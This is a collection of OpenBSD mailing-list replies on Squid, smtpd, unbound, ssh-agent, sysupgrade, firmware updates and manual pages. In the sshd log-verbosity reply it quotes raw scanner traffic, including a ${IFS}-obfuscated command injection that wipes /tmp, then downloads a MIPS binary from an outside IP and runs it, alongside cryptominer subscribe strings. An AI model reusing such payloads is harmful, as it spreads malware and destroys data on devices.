Re: 7.3: Squid 6.3 with multiple workers - net.unix.dgram.sendspace too low
On 2023/10/21 09:31, Silamael Darkomen wrote: > On 20 Oct 2023 19:33, Stuart Henderson wrote: > > After a few hours digging around, I eventually figured out where the > > relevant sockets are created and have added a patch (to 7.4-stable and > > -current) to bump buffers on them. > > Hi Stuart, > > Meanwhile I also did some digging and opened a bug at Squid with > a patch attached: > https://bugs.squid-cache.org/show_bug.cgi?id=5308 > I hope Squid will fix this on their side for future releases. > > Greetings, > Matthias > I had another thought about this, we should probably fetch the existing buffer size and avoid decreasing (in case the admin already raised it system-wide)
Re: 7.3: Squid 6.3 with multiple workers - net.unix.dgram.sendspace too low
After a few hours digging around, I eventually figured out where the relevant sockets are created and have added a patch (to 7.4-stable and -current) to bump buffers on them.
Re: 7.3: Squid 6.3 with multiple workers - net.unix.dgram.sendspace too low
On 2023/10/20 13:57, Stuart Henderson wrote: > On 2023/10/19 15:09, Silamael Darkomen wrote: > > Hi, > > > > Today I upgraded to the brand new Squid version 6.3 from ports and noticed, > > that Squid no longer starts properly if configured with multiple worker > > processes. > > > > After some debugging the limit from net.unix.dgram.sendspace came up as > > cause. The 2k default is way to low. > > I haven't normally been using multiple workers, but have just given this > a spin with 4 workers on my usual setup (which is doing memory caching > only, no disk cache) and can't trigger it there. > > If you're using disk cache, I assume that would be rock for multiple > workers, in which case this is expected anyway and already documented: > > https://wiki.squid-cache.org/Features/SmpScale#write-failure-40-message-too-long > https://cvsweb.openbsd.org/cgi-bin/cvsweb/ports/www/squid/pkg/README-main?rev=HEAD=text/x-cvsweb-markup > Ah, I'd forgotten that I've already bump dgram limits on that machine as it also runs unbound and I've run into problems with that before..
Re: 7.3: Squid 6.3 with multiple workers - net.unix.dgram.sendspace too low
On 2023/10/19 15:09, Silamael Darkomen wrote: > Hi, > > Today I upgraded to the brand new Squid version 6.3 from ports and noticed, > that Squid no longer starts properly if configured with multiple worker > processes. > > After some debugging the limit from net.unix.dgram.sendspace came up as > cause. The 2k default is way to low. I haven't normally been using multiple workers, but have just given this a spin with 4 workers on my usual setup (which is doing memory caching only, no disk cache) and can't trigger it there. If you're using disk cache, I assume that would be rock for multiple workers, in which case this is expected anyway and already documented: https://wiki.squid-cache.org/Features/SmpScale#write-failure-40-message-too-long https://cvsweb.openbsd.org/cgi-bin/cvsweb/ports/www/squid/pkg/README-main?rev=HEAD=text/x-cvsweb-markup
Re: HAMMER2 filesystem for OpenBSD
On 2023/10/20 11:51, Chris Narkiewicz wrote: > On Thu, 2023-10-19 at 15:03 +0200, Denis Fondras wrote: > > > > https://marc.info/?l=openbsd-misc=169272174500676=2 > > > > > > Thank you, I missed that one. > > So the key piece of information from that thread is that > Kusumi's implementation of HAMMER2 for OpenBSD is read-only. It was read-only then. That changed in 1.1.5. But the netbsd_hammer2 and openbsd_hammer2 repos say "This repository will be abandoned once Linux or FreeBSD is stabilized with write support. NetBSD is not the main target." and "This repository will be abandoned once Linux or FreeBSD is stabilized with write support. OpenBSD is not the main area of interest."
Re: smtpd: implement nullmx RFC 7505
On 2023/10/17 22:27, Philipp wrote: > [2023-10-17 17:32] Omar Polo > > > > There is one part of the RFC7505 that I'd like to quote and discuss > > with you however. The last paragraph of the section 3 says: > > > > : A domain that advertises a null MX MUST NOT advertise any other MX > > : RR. > > > > Your implementation handles the case where there are more than one MX > > by setting the `nullmx' field in the shared struct when we encounter > > one, and then don't process the other MXs when that field is set. > > This is fine. > > > > However, I think we can simplify here by not honouring the Null MX > > when there are other MX records. We're not violating the RFC. See > > diff below to see what I mean. The only difference is in dns.c, the > > rest is the same with yours. > > My reasaning for that was: When you set Null MX you explicitly opt out > from reciving mail even when you violate the spec. But if you want > it diffrent I can change it. I think in that situation, the recipient's DNS admin has *not* set a valid nullmx, and delivery to other MXes should still be attempted. > But I don't think your proposed patch is a good solution, because the > result depend on the order of the RR in the repsonse. The problem is > when the first entry in the response is a Null MX your patch truncate > the other results and a bounce is generated. But when the Null MX is > later in the response the other entries are used to deliver the mail. > > > So far I've only compile-tested the code. I don't have a spare domain > > to test and don't know of anyone using a Null MX. > > To test Null MX you can use example.com. To test the localhost patch a > friend of me has set up mxtest.yannikenss.de. > > > > Because some domains set the MX record to "localhost." to get a similar > > > efect the secound patch ignores "localhost." MX entries and handles a MX > > > containing only "localhost." records like a Null MX. > > > > This could be simplified too. On top of diff below, it would need > > just something among the lines of: > > When localhost and Null MX should be handled the same this could be > simplified in one check, yes. But that "localhost." and Null MX are > handled different was on purpose. Because I would say setting a Null MX > is a explicit opt out from reciving mail and setting MX to localhost > is implicit. As said before, I have no problem which changing this. > > > I'm still not convinced about this part however. It feels wrong to me > > to hardcode such a check, it seems too much paranoic. The follow-up > > would be to check for localhost in dns_dispatch_host too? ;) > > The idea[1] about this part was because setting "localhost." as MX is used > in a similiar way as Null MX[0]. So handle this in a simmilar way as > Null MX make sense. This way the sender will get a better bounce message. > > Philipp > > [0] https://www.netmeister.org/blog/mx-diversity.html > > [1] I still belive OpenSMTPD should only connect to public routable > addresses for relay. So don't connect to something like 127.0.0.1/8, > ::1/128, RFC1918 addresses, ULA, ... > But this is independent of this patch. Support for nullmx makes sense to me. Perhaps also the localhost handling. But some intranet setups may require connections to RFC1918/ULA addresses - I don't think an MTA should prevent these. BTW, you can already block those at the DNS resolver level in a configurable way - see unbound's "private-address" feature.
Re: CVS: cvs.openbsd.org: src
On 2023/10/09 14:55, Todd C. Miller wrote:
> CVSROOT: /cvs
> Module name: src
> Changes by: mill...@cvs.openbsd.org 2023/10/09 14:55:33
>
> Modified files:
> usr.sbin/smtpd : smtp_session.c
>
> Log message:
> Add Message-Id as needed for messages received on the submission port.
>
> Since listener->port is in network byte order we need to compare
> against htons(587). The fix for this got dropped in the rewrite
> in revision 1.335.
Presumably 465 should be treated the same, though the hardcoded ports
don't feel entirely right here - this is presumably something that would
want adding for any connection which is allowed to relay ..
Index: smtp_session.c
===
RCS file: /cvs/src/usr.sbin/smtpd/smtp_session.c,v
retrieving revision 1.436
diff -u -p -r1.436 smtp_session.c
--- smtp_session.c 9 Oct 2023 20:55:32 - 1.436
+++ smtp_session.c 10 Oct 2023 09:41:05 -
@@ -2624,6 +2624,7 @@ smtp_tx_dataline(struct smtp_tx *tx, con
case RFC5322_END_OF_HEADERS:
if (tx->session->listener->local ||
+ tx->session->listener->port == htons(465) ||
tx->session->listener->port == htons(587)) {
if (!tx->has_date) {
Re: xenodm greeter pixmaps
On 2023/10/03 13:47, Paianis wrote: > I wanted some cleaner pixmaps of the logo for the login greeter than > those currently in the tree, so I remade them from the PDFs that used to > be on the website, using mutool and imagemagick's convert. > > The low-color and greyscale versions are untested on suitable hardware. > > I don't have the ability to commit changes, the files attached are for > anyone who can and wants to. > > Paianis to my eyes: 1bpp looks a bit worse, undecided about 4bpp, 8/15 look better. they lose the transparency of the existing files though.
Re: [newvers] sysupgrade(8) -release to -beta narrow of sets version
On 2023/09/26 11:04, Eponymous Pseudonym wrote: > There is a small window of mixed version sets at the newvers tagging > from release to beta, likely due to the way currently mirrors are > clearing the previous and syncing during that automatically (not > signalled). There will be another one from beta to release and new > version for snaps too. It's when the actual version number changes (73->74) and going from 7.4-beta to 7.4 for release should be fine. (There is another problem with pkg_add etc once the version number changes to just plain "7.4" but there's no good way around that, the workaround is manual -Dsnap or setting PKG_PATH to explicitly include /snapshots/ in the URL). > At these times sysupgrade(8) picks the old sets from partial > incompletely "deleted" version sets breaking the snapshot upgrades, > instead of the latter correct new version ones which are a complete > sets. > > This results in failure to upgrade to a valid snapshot on the mirrors, > and users having to wait a new snapshot fanout without mixed sets and > checksum files containing both versions (incompletely the older). I do not agree with "be lenient on what you expect thing that used to be popular belief. So IMHO it is better if sysupgrade fails when the files in the ftp directory do not match its expectations.
Re: [patch] Sort of fix for game "phantasia"
On 2023/09/18 23:38, S V wrote:
> ===
> RCS file: /cvs/src/games/phantasia/misc.c,v
> retrieving revision 1.21
> diff -u -p -r1.21 misc.c
> --- games/phantasia/misc.c10 Jan 2016 13:35:10 - 1.21
> +++ games/phantasia/misc.c18 Sep 2023 20:37:16 -
> @@ -1412,6 +1412,7 @@ error(char *whichfile)
>
> warn("%s", whichfile);
> fprintf(stderr, "Please run 'setup' to determine the problem.\n");
> + fprintf(stderr, "Also note, that you can add your user to 'games'
> group.\n");
...the system administrator can add your user...
but then, your user will be able to fill /var, so it's not a whole lot
better than setgid games.
And actually, if you really want to play it (ignoring the problem, or if
you have mitigated the issue by placing /var/games on another filesystem),
the current manual does give the observant reader exactly the information
needed to do so,
Re: rc.d/unbound: enable configtest
On 2023/09/16 14:26, Bjorn Ketelaars wrote:
> Currently /etc/rc.d/unbound only checks a configuration (using
> unbound-checkconf) upon starting as part of rc_pre(). It would would be
> nice to have a configtest, which checks a configuration before
> restarting/reloading as well.
>
> I recently got bitten by a cron script, which made _invalid_ changes to
> my unbound configuration. Upon restarting rc_pre() was called in the
> start phase, and concluded that the configuration was invalid. As a
> consequence no DNS.
>
> Proposal is to change rc_pre() here to rc_configtest(). rc_pre() is only
> used when starting a daemon, and is preceded by rc_configtest() [0].
>
> [0] https://github.com/openbsd/src/blob/master/etc/rc.d/rc.subr#L231-L236
>
> OK?
>
> diff --git etc/rc.d/unbound etc/rc.d/unbound
> index 0f19c90fdf1..e62951b9dae 100644
> --- etc/rc.d/unbound
> +++ etc/rc.d/unbound
> @@ -7,7 +7,7 @@ daemon_flags="-c /var/unbound/etc/unbound.conf"
>
> . /etc/rc.d/rc.subr
>
> -rc_pre() {
> +rc_configtest() {
> if grep '^[[:space:]]*auto-trust-anchor-file:' \
> /var/unbound/etc/unbound.conf > /dev/null 2>&1; then
> /usr/sbin/unbound-anchor -v
I would quite like configtest to work, but doing it like this means
that "rcctl configtest unbound" will run unbound-anchor. Not sure about
anyone else but personally I don't think this is really desirable.
And you can't have an rc_configtest with just the unbound-checkconf
call, because it will fail if dnssec is enabled but root.key hasn't
been created yet (which is still a reasonable configuration imho,
because the rc script specifically copes with this).
Not sure of a good way around it...
Re: [feature] ssh-agent: new -A option (like -a) that overwrites existing sockets
On 2023/09/14 11:55, Moritz Fain wrote: > > My initial reaction is that it's easy to run "rm -f" before starting > > the agent with the existing "-a" option. same. also if there's an existing agent running you probably don't want to blindly remove the socket - and as the manual says "The sockets should get automatically removed when the agent exits" - this feels like it's trying to fix something in ssh-agent that should be the responsibility of some other layer... > @@ -2075,6 +2075,8 @@ main(int ac, char **av) > usage(); > D_flag++; > break; > + case 'A': > + A_flag = 1; _if_ this is done, it warrants a /* FALLTHROUGH */ comment here. > case 'a': > agentsocket = optarg; > break;
Re: ps.1/kvm documentation
-H is userland threads, -k is kernel threads. I guess "kernel visible" was to distinguish between the old uthread where threads were handled in userland and not visible to the kernel, and rthread ... -- Sent from a phone, apologies for poor formatting. On 11 September 2023 10:02:32 Marc Espie wrote: I was reading through ps.1, which has two slightly different options -H Also display information about kernel visible threads. -k Also display information about kernel threads. It's not at all obvious what the difference between these options might be. From the log: revision 1.77 date: 2011/09/25 00:29:59; author: guenther; state: Exp; lines: +5 -3; Add -H option to show rthreads, hiding them by default Diff from uwe@ so slightly more info. Looking at the code, now this is KERN_PROC_KTHREAD vs KERN_PROC_SHOW_THREADS in kvm_getprocs(3). Now KERN_PROC_KTHREAD is documented, but there is nothing about KERN_PROC_SHOW_THREADS. The code around (dothreads) in kvm* doesn't make things really obvious.
Re: [OpenSMTPD] Setting personal mailserver
On 2023/09/09 13:49, Sagar Acharya wrote: > Thanks Peter, your comments were very helpful and I made some progress > > I have currently hosted server at 587. I have also set > > _submission._tcp.humaaraartha.in. SRV > > records which point to 587. However, I think such a thing is not implemented > by default to be detected by mailservers, perhaps, SMTPD. > > Is such a check on other ports in case 25 connection is not established > implemented? *nobody* does this. There was an opportunity to change how port lookups were done for email when MTA-STS was implemented reasonably recently (it would only help for the small number of senders actually using this, but it would still have been something) - but that just continued to use port 25. If you think about the scope of changes that would be involved across the internet, it's really just not possible to get everyone to change this, so you would still need to list a port 25 receiver at least as a backup MX (and honestly if you can do that, you might as well funnel all mail through that machine). Changes like: - everyone would need software that such a lookup - some firewalls would need changing (it would be reasonable to only permit an MTA to connect to random internet machines on ports needed for email/DNS) I would suggest getting a VPS or hosted server somewhere, and either bave that handle SMTP relay, or have a tunnel to your real mail server so that incoming connections are passed across directly.
Re: btop++
On 2023/09/04 11:13, Jos Dehaes wrote: > How could we go about including this in OpenBSD (ports or native package)? it would need to be added as a port, then packages will be built. ports cannot be built with gcc 11 (gcc 8 and 11 can't be installed together and other ports require gcc 8). so due to the hard dep on C++20 it will need some very new stuff in -current ports to be able to build with llvm 16 (this is so new that packages aren't available yet). attached tgz is a start at a port, but i might have got the llvm 16 bits wrong. btop.tgz Description: application/tar-gz
Re: sshd: reduce preauth log verbosity
On 2023/08/18 17:39, Tobias Heider wrote:
> Hi,
>
> I was looking at my authlog today and as expected on a server exposed on the
> public internet it is filled with random scanners and brute force attacks.
> One thing I noticed is that there is a lot of information we log multiple
> times for a each failed connection.
>
> Some examples below:
>
> sshd[6216]: error: kex_exchange_identification: banner line contains invalid
> characters
> sshd[6216]: banner exchange: Connection from xx.97.73.149 port 64744: invalid
> format
> sshd[68416]: error: kex_exchange_identification: banner line contains invalid
> characters
> sshd[68416]: banner exchange: Connection from xx.97.73.149 port 63955:
> invalid format
>
> There are a few more parsing errors like this that result in a print of the
> exact
> issue error followed by 'goto invalid' which causes the more general "invalid
> format"
> message. I think "invalid format" is enough information in most cases.
>
> sshd[50752]: error: kex_exchange_identification: Connection closed by remote
> host
> sshd[50752]: Connection closed by xx.94.81.243 port 61000
>
> Same as above, the kex_exchange_identification doesn't really add anything.
>
> sshd[51579]: Invalid user tom from xx.134.191.142 port 35480
> sshd[51579]: Received disconnect from xx.134.191.142 port 35480:11: Bye Bye
> [preauth]
> sshd[51579]: Disconnected from invalid user tom xx.134.191.142 port 35480
> [preauth]
> sshd[94857]: Invalid user long from xx.97.173.1 port 51140
> sshd[94857]: Received disconnect from xx.97.173.1 port 51140:11: Bye Bye
> [preauth]
> sshd[94857]: Disconnected from invalid user long xx.97.173.1 port 51140
> [preauth]
>
> Here the "Disconnected" line contains all the info from "Invalid user" line.
> Those invalid user messages make up the largest part of my log file,
> so deduplicating them makes a huge difference.
>
> Below is a diff to make some of those log to debug if the same information
> is also logged elsewhere.
> Is there some general interest in diffs to clean this up a bit?
There are some messages which don't show up in the "Disconnected from"
line which may possibly give some clues about the source of connections,
so might be of interest. If someone does want to log them, going all
the way to debug is going to result in a *lot* more useless lines being
logged.
So if they are getting squelched I think they would better under verbose
rather than debug.
examples...
sshd[2722]: Connection from 20.168.51.56 port 54850 on 195.95.187.26 port 22
rdomain "0"
sshd[2722]: error: Received disconnect from 20.168.51.56 port 54850:3:
com.jcraft.jsch.JSchException: Auth fail [preauth]
sshd[2722]: Disconnected from authenticating user root 20.168.51.56 port 54850
[preauth]
sshd[50247]: Connection from 218.92.0.22 port 36077 on 195.95.187.184 port 22
rdomain "0"
sshd[50247]: Received disconnect from 218.92.0.22 port 36077:11: [preauth]
sshd[50247]: Disconnected from authenticating user root 218.92.0.22 port 36077
[preauth]
sshd[12117]: Connection from 222.71.84.234 port 53262 on 195.95.187.26 port 22
rdomain "0"
sshd[12117]: Invalid user A@0599343813A@0599343813A@0599343813 from
222.71.84.234 port 53262
sshd[12117]: Received disconnect from 222.71.84.234 port 53262:11: Normal
Shutdown, Thank you for playing [preauth]
sshd[12117]: Disconnected from invalid user
A@0599343813A@0599343813A@0599343813 222.71.84.234 port 53262 [preauth]
sshd[83269]: Connection from 143.244.50.173 port 46078 on 195.95.187.28 port 22
rdomain "0"
sshd[83269]: Invalid user admin from 143.244.50.173 port 46078
sshd[83269]: Received disconnect from 143.244.50.173 port 46078:11: end
[preauth]
sshd[83269]: Disconnected from invalid user admin 143.244.50.173 port 46078
[preauth]
and I have all sorts in "kex_exchange_identification: client sent
invalid protocol identifier"
1 "CONNECT api.ipify.org:443 HTTP/1.1"
1 "GET / HTTP/1.0"
1 "GET /.git/HEAD HTTP/1.1"
1 "GET /0bef HTTP/1.0"
1 "GET /CSS/Miniweb.css HTTP/1.1"
1 "GET /HNAP1 HTTP/1.1"
1 "GET /Portal.htm HTTP/1.1"
1 "GET /__Additional HTTP/1.1"
1 "GET
/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://146.19.191.108/mips;${IFS}chmod${IFS}777${IFS}mips;${IFS}./mips${IFS}zyxel.selfrep;;
1 "GET /evox/about HTTP/1.1"
1 "GET /jPOS HTTP/1.1"
1 "GET /manager/html HTTP/1.1"
1 "GET /manager/text/list HTTP/1.1"
1 "GET /start.cfm HTTP/1.1"
1 "HEAD / HTTP/1.1"
1 "POST /sdk HTTP/1.1"
1 "SSTP_DUPLEX_POST /sra_{BA195980-CD49-458b-9E23-C84EE0ADCD75}/ HTTP/1.1"
1 "\376^H\001adminSSH-2.0-PuTTY_Release_0.78"
1 "{"id": 1, "method": "mining.subscribe", "params": ["MinerName/1.0.0",
"EthereumStratum/1.0.0"]}"
1 "{"id": 1, "method": "mining.subscribe", "params": ["cpuminer/2.5.1"]}"
1
Re: [PATCH] Implement ext2 incompat feature 64-bit
On 2023/08/15 18:16, Vladimir 'phcoder' Serbinenko wrote: > Did I do something wrong and should send it to another list, CC someone or > did I do something stupid? 64-bit incompat feature is enabled on new ext4's > by default, at least on Ubuntu It's the right list. However as ext2fs support is not much used by developers and there's no "maintainer" for this bit of code it's going to be more difficult to find a reviewer. > Le lun. 3 juil. 2023, 02:49, Vladimir 'phcoder' Serbinenko < > phco...@gmail.com> a écrit : > > > Hello, all attached patch implements feature 64-bit for ext2. This was > > enabled implicitly on my Ubuntu and probably on many other systems. Since > > it's an incompat feature lack of its support prevented the mount > > altogether. With this patch I was able to load install sets from my Ubuntu > > partition. I'm not a good person to comment on the code changes, but the diff doesn't follow style(9), at least there are over-long lines, and while I didn't find anything in particular in style(9) about the alignment around = in blocks of setting a bunch of variables (like in e2fs_cgload), it's more common in the kernel to use "var = assignment" without extra spaces to align.
Re: Have sysupgrade run fw_update -vv
On 2023/08/13 11:44, Andrew Hewus Fresh wrote: > My laptop doesn't have the fastest wifi and sysupgrade already uses a > progress bar to show what it's doing, so I'd really like to provide more > feedback on what it is doing: Does a single -v give enough feedback? It's a fair bit quieter (it doesn't include the time estimates from ftp, but does still prints what it's doing before it starts downloading anything potentially large, so at least you aren't sat there downloading 12Mb of intel- or iwx-firmware or 25Mb of amdgpu-firmware with zero idea about what it's doing). # fw_update -vv Detect firmware ... found. Get/Verify SHA256.sig 100% |**| 2371 00:00 Get/Verify intel-firmware-2023080... 100% |*| 12155 KB00:07 Install intel-firmware-2023080... 100% || 12155 KB00:00 Get/Verify iwx-firmware-20230330.tgz 100% |*| 12890 KB00:48 Install iwx-firmware-20230330.tgz 100% || 12890 KB00:00 Get/Verify vmm-firmware-1.14.0p4.tgz 100% |*| 42927 00:00 Install vmm-firmware-1.14.0p4.tgz 100% || 42927 00:00 fw_update: added intel,iwx,vmm; updated none; kept inteldrm,uvideo vs. # fw_update -v Get/Verify intel-firmware-20230808v0.tgz ... installed. Get/Verify iwx-firmware-20230330.tgz ... installed. Get/Verify vmm-firmware-1.14.0p4.tgz ... installed. fw_update: added intel,iwx,vmm; updated none; kept inteldrm,uvideo > $ time doas fw_update > fw_update: added intel; updated none; kept inteldrm,iwm,uvideo,vmm > 0m58.45s real 0m00.51s user 0m00.35s system firmware.openbsd.org is handled entirely by DNS round-robin with no geographical awareness, so even with good local network and internet connection, it can sometimes still take a very long time. For example, times from two consecutive runs fetching intel-firmware on a 550M download connection: 0m10.11s real 0m00.71s user 0m00.77s system 1m17.47s real 0m01.28s user 0m01.22s system
Re: Virtio fix for testing
On 2023/08/13 16:10, Andrew Cagney wrote: > On Sun, 13 Aug 2023 at 11:38, Tobias Heider wrote: > > > > On Sun, Aug 13, 2023 at 08:33:54AM -0400, Andrew Cagney wrote: > > > > Hi Andrew, > > > > > > > > can you share the qemu cmd you are using in your tests? > > > > I'd like to see if I can reproduce this. > > > > > > Here's pretty much everything. Thanks for looking at it. > > > > Thank you, I managed to reproduce your crash. > > Some good news (of sorts). > > > I am not yet sure what the exact problem is but you could try using > > install73.img > > instead of install73.iso. It looks like only the iso triggers the bug for > > me. > > I'll need to think about how to do this. The script is adding files > to the iso so they are available after the installer has run. I do > see there's an EFI partition. If the installer is run in an environment with network access, fetching sets from http instead of cd/disk might do the trick.
Re: httpd server "default" is not what I expected
On 2023/08/13 11:13, Omar Polo wrote: > @@ -179,7 +179,8 @@ section starts with a declaration of the server > Each > .Ic server > section starts with a declaration of the server > -.Ar name : > +.Ar name . > +If no one matches the request the first one defined is used. > .Bl -tag -width Ds > .It Ic server Ar name Brq ... > Match the server name using shell globbing rules. The rest looks good, but I think this might be a little more clear as: Each .Ic server section starts with a declaration of the server -.Ar name : +.Ar name . +If a request does not match any server name, it is handled by the first +defined +.Ic server +section. .Bl -tag -width Ds .It Ic server Ar name Brq ... Match the server name using shell globbing rules.
Re: [diff] selectable curves in smtpd ?
On 2023/08/12 19:07, Marc Espie wrote: > On Sat, Aug 12, 2023 at 03:21:00PM +, gil...@poolp.org wrote: > > August 12, 2023 4:34 PM, "Theo Buehler" wrote: > > > > > On Sat, Aug 12, 2023 at 02:29:45PM +, gil...@poolp.org wrote: > > > > > >> Hello, > > >> > > >> Someone asked about selectable curves in the OpenSMTPD portable tracker, > > >> and it turns out I had a diff for that among a few others. > > > > > > Why do they need this? > > > > I suspect for the same reason people have needed ciphers selection in the > > past, > > being able to comply with the requirements of some certification (iirc, > > medical > > mail systems, for example, have strict requirements regarding their setup). > > > > Anyways, I've written this a long time ago and I'm providing it in case > > it's of > > any interest, feel free to discard. > > > > This is moving *backwards* from best practices. As if certification cares about that ;)
Re: Virtio fix for testing
On 2023/08/12 13:16, Andrew Cagney wrote: > Ref: https://marc.info/?l=openbsd-tech=168458764424059=2 > https://marc.info/?l=openbsd-misc=168071258109433=2 > > I'm trying to update libreswan's automated test framework so that it > creates an OpenBSD 7.3 test VM using install7.3.iso. Unfortunately > I've hit what I'm assuming is this bug vis: > > Installing bsd 100% |**| 24400 KB00:01 > Installing bsd.rd 100% |**| 4547 KB00:00 > Installing base73.tgz 3% | | 12800 KB > 00:28 ETAwdc_atapi_start: not ready, st = 50 > Installing base73.tgz 4% |* | 15104 KB > 00:52 ETAfatal protection fault in supervisor mode > trap type 4 code 0 rip 810089d9 cs 8 rflags 10286 cr2 > 2446c8000 cpl 6 rsp 80002174d4e0 > > Is there a way to get an updated ISO or kernel with the fix? > (we're already adding an installer config file to the ISO, so why not a > kernel) > > Andrew > It was committed to -current, so if you're able to use a snapshot build (https://cdn.openbsd.org/pub/OpenBSD/snapshots) that would likely be the simplest fix.
Re: installer: disk crypto: crank KDF rounds to hardware based default
On 2023/08/11 16:43, Mark Kettenis wrote:
> > Date: Fri, 11 Aug 2023 11:13:23 +
> > From: Klemens Nanni
> >
> > On Mon, May 08, 2023 at 11:00:27AM +, Klemens Nanni wrote:
> > > On Sun, Apr 23, 2023 at 05:07:30PM +, Klemens Nanni wrote:
> > > > For new installs, it seems adequate to base the number on the actual
> > > > hardware,
> > > > assuming the CRYPTO volume will stay in that hardware for a while.
> > > >
> > > > The current default of 16 is from old PKCS5 PBKDF2 times and changing
> > > > it in
> > > > bioctl(8) is a more invasive change (for later, perhaps).
> > > >
> > > > Thoughts? Feedback from the crypto folks appreciated.
> > > >
> > > > On X230 and T14, 16 feels pretty instant, whereas 'auto' takes about a
> > > > second
> > > > on a T14.
> > >
> > > Ping.
> >
> > Anyone?
> >
> > I consider a hardware based value a saner default for new installations
> > (root disk volumes are most likely to stick around on the same machine)
> > than a decade old constant.
>
> See the recent discussion about _bcrypt_autorounds() in libc.
>
> System performance varies, and even on modern hardware it can provide
> varying results. The ramdisk environment is considerably different
> from the mult-user environment in this respect.
>
> Using a fixed value is way more predictable. If 16 no longer is a
> safe default it should be raised.
Agreed. (Re bcrypt, I usually completely ignore auto rounds, I had just
forgotten to set that up on the machine where I noticed the problem..)
Also, am I right in thinking that this only affects the time when
entering the passphrase when mounting or creating the device, i.e. once
per boot?
If so, there's nowhere near as much a downside to that being slow
as there is for user login. (anyone actually wanting to crack these
passphrases would be doing it on a fast system rather than whatever
the device is normally used with, so there are valid reasons for
picking something that might be a bit slow if it doesn't cause too
much system impact).
> > >From bioctl(8):
> > -r rounds
> > The number of iterations for the KDF algorithm to use when
> > converting a passphrase into a key, in order to create a new
> > encrypted volume or change the passphrase of an existing
> > encrypted volume. A larger number of iterations takes more
> > time,
> > but offers increased resistance against passphrase guessing
> > attacks. If rounds is specified as auto, the number of rounds
> > will be automatically determined based on system performance.
> > Otherwise the minimum is 4 rounds and the default is 16.
> >
> > Rebased diff.
> >
> > Index: install.sub
> > ===
> > RCS file: /cvs/src/distrib/miniroot/install.sub,v
> > retrieving revision 1.1253
> > diff -u -p -r1.1253 install.sub
> > --- install.sub 10 Aug 2023 17:09:34 - 1.1253
> > +++ install.sub 11 Aug 2023 11:02:19 -
> > @@ -3097,7 +3097,7 @@ encrypt_root() {
> > md_prep_fdisk $_chunk
> > echo 'RAID *' | disklabel -w -A -T- $_chunk
> >
> > - until bioctl -Cforce -cC -l${_chunk}a softraid0 >/dev/null; do
> > + until bioctl -Cforce -cC -rauto -l${_chunk}a softraid0 >/dev/null; do
> > # Most likely botched passphrases, silently retry twice.
> > ((++_tries < 3)) || exit
> > done
> >
> >
>
Re: standardize and simplify GitHub submodule handling in ports?
On 2023/08/07 14:53, Thomas Frohwein wrote: > On Mon, Aug 07, 2023 at 06:59:15PM +0100, Stuart Henderson wrote: > [...] > > > I haven't looked at other ports, but asterisk, vim and vmm-firmware do > > not use git submodules. > > With vim, it's the way colorschemes are pulled in that *could* be > reworked using GH_SUBMODULES syntax. The old way continues to work, so > for any of the ports listed, there is no need to change anything. It does feel like a bit of a hack to use something named after submodules for something else. (And submodules thenselves are a total hack which I don't think shoukd be used at all, especially when projects expect to build from a checkkut rather than a proper distfile, but I digress ;) I think maybe I'd prefer to have some variable that could be used *instead* of the existing GH_* variables rather than in conjunction with them (so they can be used for all GH archive ports, rather than have them a special case for multi-distfile ports). If that's the standard way to do things we can have a sweep of the tree converting other ports (or at least the ones that don't use go.port.mk ;) It would be kind-of helpful if it could support more than just github too (gitlab.com, sr.ht, ..). While that could be done with different variables (GH_xx, GL_xx, SRHT_xx etc) they're all a similar enough layout to each other that making the site part of the variable itself rather than the name would be simpler and easier to add more sites (plus it covers the case where you have some port using one file from github and one from gitlab, etc). Playing with syntax ideas, maybe something like this would be easy to use for pprts not needing a rename - SOMEVAR+= github vim vim refs/tags/v9.0.1677 SOMEVAR+= github vim colorschemes 22986fa2a3d2f7229efd4019fcbca411caa6afbb or with some auto-renaming (and specifying more of the path to avoid the extra GH_WRKSRC which I think might not be enough in some cases anyway - a port may have several distfiles that need to go into different base dirs) - SOMEVAR+= github fortran-lang fpm refs/tags/v0.7.0 OTHERVAR+= github toml-f toml-f e49f5523e4ee67db6628618864504448fb8c8939 vendor/toml-f OTHERVAR+= github urbanjost M_CLI2 90a1a146e19c8ad37b0469b8cbd04bc28eb67a50 vendor/M_CLI2 (no idea what to use as real names instead of SOMEVAR/OTHERVAR though!) How does that sort of thing seem to you? (i.e. using the same basic idea as you have for submodules, but making it the standard for all gh distfiles)?
Re: standardize and simplify GitHub submodule handling in ports?
On 2023/08/07 12:44, Thomas Frohwein wrote: > I tested this with the about 30 ports I could identify that use GitHub > submodules, by adjusting the Makefile to use GH_SUBMODULES. Here a few > points from what I've observed: .. > > The full table of what I tested and the result up to if the port still > packages is here: https://thfr.info/tmp/github-submodule-ports.txt I haven't looked at other ports, but asterisk, vim and vmm-firmware do not use git submodules.
Re: add extract example to tar(1) man page
On 2023/08/03 07:23, Jason McIntyre wrote: > On Wed, Aug 02, 2023 at 05:52:02PM -0400, aisha wrote: > > Hi, > > Someone - https://www.youtube.com/watch?v=NQ5uD5x8vzg - mentioned that > > our man page for tar(1) doesn't have an extract example, so I thought it > > would be good to add a simple one which highlights a common use case. > > > > OK? > > > > hi. > > the examples section is small enough that i suppose it wouldn;t be a > problem to add another one. as it must be specified in a non-obvious place on the command line and it's not currently explained particularly clearly, I'd welcome an example using -C. > it does add another example with a similar set of options though, all in > a different order. i wonder whether we should try and push the action as > the first option, so people can see what we're doing. so "cXXX" when the > example is to create, "tXXX" when listing? then keep the "vzf" options > that are so common in the same order? > > then the second example is probably more helpful as "Create a gzip(1) > compressed archive blah.tgz". > > i know this isn;t what you're posting about, so feel free to leave alone > if you don;t want to tackle that. > > one more thing. you could as easily remove the text "the folder", but > i'd be tempted to use "directory", as that's more standard for our docs, > and how -C itself describes it. strongly agree on options order and "directory". > jmc > > > Index: tar.1 > > === > > RCS file: /cvs/src/bin/pax/tar.1,v > > retrieving revision 1.64 > > diff -u -p -r1.64 tar.1 > > --- tar.1 31 Mar 2022 17:27:14 - 1.64 > > +++ tar.1 2 Aug 2023 21:47:12 - > > @@ -359,6 +359,13 @@ Note that the glob pattern has been quot > > .Pp > > .Dl $ tar tvzf backup.tar.gz '*.jpeg' > > .Pp > > +Verbosely extract an archive, called > > +.Pa foo-backup.tar.gz , > > +to the folder > > +.Pa /var/foo : > > +.Pp > > +.Dl $ tar xzvf foo-backup.tar.gz -C /var/foo > > +.Pp > > For more detailed examples, see > > .Xr pax 1 . > > .Sh DIAGNOSTICS > > >
cron -n/-s/-q whitespace and /etc/crontab
